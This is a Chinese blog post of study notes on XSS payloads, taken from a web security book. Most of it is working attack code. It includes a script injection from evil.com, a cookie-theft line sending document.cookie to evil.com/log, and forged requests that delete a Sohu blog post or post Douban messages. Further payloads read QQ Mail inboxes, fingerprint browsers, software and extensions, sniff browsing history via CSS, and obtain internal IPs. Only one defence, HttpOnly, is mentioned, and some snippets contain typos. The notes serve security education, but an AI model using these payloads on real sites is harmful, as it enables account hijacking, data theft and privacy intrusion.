XSS Payload知识备忘

参考资料：《白帽子讲Web安全》吴翰清 著

参见：

百度百科 http://baike.baidu.com/view/50325.htm

维基百科 http://zh.wikipedia.org/zh-cn/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC

本文地址：博客园 http://www.cnblogs.com/go2bed/p/4136358.html

含义：

XSS 攻击成功后，攻击者能够对用户当前浏览的页面植入恶意脚本，通过恶意脚本，控制用户的浏览器。这些用以完成各种具体功能的恶意脚本，被称为“XSS PayLoad”。

用法：

Cookie 劫持攻击

攻击者先加载一个远程脚本:

http://www.a.com/test.htm?abc="><script scr=http://www.evil.com/evil.js ></script>

真正的XSS Payload现在这个远程脚本中，避免直接在URL的参数里写入大量的JavaScript代码。

在evil.js中，可以通过如下代码窃取Cookie:

var img=document.createElement("img");

img.src="http://www.evil.com/log?"+escape(document.cookie);

document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片，同时把document.cookie对象作为参数发送到远程服务器。

事实上，http://www.evil.com/log并不一定要存在，因为这个请求会在远程服务器的Web日志中留下记录。

这样就完成了一个最简单的窃取Cookie的XSS Payload。

黑客可以用这个Cookie直接登录。

防止方法: Cookie的“HttpOnly"标识可以防止"Cookie劫持"。

构造模拟GET和POST请求操作用户的浏览器

删除Sohu博客上的一篇文章

例如在Sohu上有一篇文章， 想通过XSS删除它，该如何做呢?

假设Sohu博客所在域的某页面存在XSS漏洞，那么通过JavaScript，这个过程如下:

正常删除该文章的链接是:

http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

对于攻击者来说，只需要直到文章的id，就能够通过这个请求删除这篇文章了。

攻击者可以通过插入一张图片来发起一个get请求:

var img=document.createElement("img");

img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";

document.body.appendChild(img);

攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload)，就会把这篇文章删除。在具体攻击中，攻击者将通过XSS诱使用户执行XSS Payload。

POST表单（Form）在Douban上发送消息

如果表单参数很多的话，通过构造DOM的方式，代码将会很冗长。所以可以直接写HTML代码:

var dd=document.createElement("div");

document.body.appendChild(dd);

dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+

'<input type="hidden" name="ck" value="JiuY" />'+

'<input type="hidden" name="mb_text" value="testetst" />' +

'</form'

document.getElementById("xssform").submit();

或者：

通过XMLHttpRequest发送一个POST请求:

var url="http://www.douban.com";

var postStr="ck=JiuY&mb_text=test1234";

var ajax=null;

if (window.XMLHttpRequest){

ajax=new XMLHttpRequest();

} else if (window.ActiveXObject){

ajax=new ActiveXObject("Microsoft.XMLHTTP");

} else {

return;

}

ajax.open("POST",url,true);

ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

ajax.send(postStr);

ajax.onreadystatechange=function(){

if (ajax.readyState==4 && ajax.status==200){

alert("Done");

}

}

通过XSS Payload读取QMail用户的邮件文件夹

通过抓包并分析发现：点击收件箱后，真正能访问到邮件列表的链接是:

http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx...

这里有一个无法直接构造出的值:sid。从字面推测，这个sid参数应该是用户ID加密后的值。

所以XSS Payload的思路是先获取到sid的值，然后构造完整的URL，并使用XMLHttpRequest请求到此URL，应该就能得到邮件列表了。XSS Payload如下:

if (top.window.location.href.indexOf("sid=")>0){

var sid=top.window..location.href.substr(top.window.location.href.indexOf("sid=")+4,24);

}

var folder_url="http://"+top.window.location.host+"/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid="+sid;

var ajax=null;

if (window.XMLHttpRequest){

ajax=new XMLHttpRequest();

} else if (window.ActiveXObject){

ajax=new ActiveXObject("Microsoft.XMLHTTP");

} else {

return;

}

ajax.open("GET",folder_url,true);

ajax.send(null);

ajax.onreadystatechange=function(){

if (ajax.readyState==4 && ajax.status==200){

alert(ajax.responseText);

//document.write(ajax.responseText);

}

}

邮件列表的内容成功被XSS Payload获取到。

XSS钓鱼

XSS并非万能。前面的例子都是Javascript脚本，缺少"与用户的交互",碰到验证码，和修改密码时需要输入旧密码，XSS Payload就会失效。

对于验证码，XSS Payload可以读取页面的内容，将验证码的图片URL发送到远程服务器上来实施--攻击者可以在远程XSS后台接收当前验证码，并将验证码的值返回给当前的XSS Payload，从而绕过验证码。

修改密码的问题比较复杂，为了窃取密码，攻击者可以将XSS与"钓鱼"结合。

实现思路很简单:利用Javascript在当前页面上"画出"一个伪造的登录框，当用户在登录框中输入用户名和密码后，其密码将被发送到黑客的服务器上。

识别用户浏览器

直接读取浏览器的UserAgent对象：

alert(navigator.userAgent);

但是userAgent是可以伪造的。这个信息不一定准确。

由于浏览器之间的实现存在差异，利用这种差异分辨浏览器几乎不会错误。

参考:

if (window.ActiveObject){ //MSIE 6.0 or below

//判断是否IE 7以上

if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined"){

if (typeof document.adoptNode!="undefined") { //Safari 3 & FF & Opera & Chrome & IE8

//MSIE 8.0

}

//MSIE 7.0

}

return "msie"; //MSIE6.0

}  else if { typeof window.opera!="undefined") { //Opera独占

return "opera";

} else if (typeof window.netscape!="undefined"){ //Mozilla独占

if (typeof window.Iterator !="undefined") {

//Firefox 2.0以上支持这个对象

if (typeof document.styleSheetSets!="undefined"){ //FireFox 3 & Opera 9

//Firefox 3

}

//Firefox 2.0

}

return "mozilla";

} else if (typeof window.pageXOffset!="undefined"){ //Mozilla & Safari

try {

if (typeof external.AddSearchProvider!="undefined"){  //Firefox & Google Chrome

return "Chrome";

}

} catch (e) {

return "safari";

}

} else { //unknown

return "unknown";

}

安全研究者Gareth Heyes曾经找到一种更巧妙的方法，通过很精简的代码，即可识别出不同的浏览器。并可精简为一行代码。

详见 《白帽子讲Web安全》一书。

识别用户安装的软件

在IE中，可以通过判断ActiveX控件的classid是否存在，来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击"--黑客通过判断用户安装的软件，选择对应的浏览器漏洞，最终达到植入木马的目的。

看如下代码:

try {

var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');

} catch (e){

//异常了，不存在该控件

}

通过收集常见软件的classid，就可以扫描出用户电脑中安装的软件列表，甚至包括软件的版本。

一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象，能够查询客户端电脑中的硬件信息。

在XSS Payload中，可以在Flash的ActionScript中读取system.capabilities对象后，将结果通过ExternalInterface传给页面的javascript。

浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展，有着不同的检测方法。

Firefox的插件(Plugins)列表存放在一个DOM对象中，通过查询DOM可以遍历出所有的插件:

所以直接查询"navigator.plugins"对象，就能找到所有的插件了。例如 navigator.plugins[0]

而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标，来判断某个特定的扩展是否存在。

在Chrome中有一个特殊的协议: chrome:// ，Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标，可以这样访问:

chrome://flashgot/skin/icon32.png

扫描Chrome扩展时，只需在Javascript中加载这张图片，如果加载成功，则扩展存在；反之，扩展就不存在。

var m=new Image();

m.onload=function(){

alert(1);//图片存在

};

m.onerror=function(){

alert(2);//图片不存在

};

m.src="chrome://flashgot/skin/icon32.png"; //连接图片

CSS History Hack:

我们再看看另外一个有趣的XSS Payload---通过CSS，来发现一个用户曾经访问过的网站。

原理是利用style的visited属性---如果用户曾经访问过某个链接，那么这个链接的颜色会变得与众不同。

<script>

var websites=[ ... 要检测的访问过的网址列表，可能有几千个...];

//遍历每个URL

for (var i=0;i<websites.length:i++){

var link=document.createElement("a");

link.id="id"+i;

link.href=websites[i];

link.innerHTML=websites[i];

document.write('<style>');

document.write('#id'+i+":visited {color:#FF0000;}");

document.write('</style>');

document.body.appendChild(link);

var color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");

document.body.removeChild(link);

if (color=="rgb(255,0,0)") { //visited

var item=document.createElement('li');

item.appendChild(link);

document.getElementById('visited').appendChild(item);

} else { //Not visited

var item=document.createElement('li');

item.appendChild(link);

document.getElementById('notvisited').appendChild(item);

}

}

</script>

但是Firefox已经在2010年3月决定修补这个问题。

获取用户的真实IP地址:

很多时候，用户电脑的IP地址隐藏在代理服务器或NAT的后面。

javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如，客户端安装了Java环境(JRE)，那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。

在XSS攻击框架"Attack API"中，就有一个获取本地IP地址的API:

AttackAPI.dom.getInternalIP=function(){

try {

var sock=new java.net.Socket();

sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));

sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port));

return sock.getLocalAddress().getHostAddress();

} catch (e) {}

return '127.0.0.1';

};

此外，还有两个利用Java获取本地网络信息的API。

详见 《白帽子讲Web安全》一书。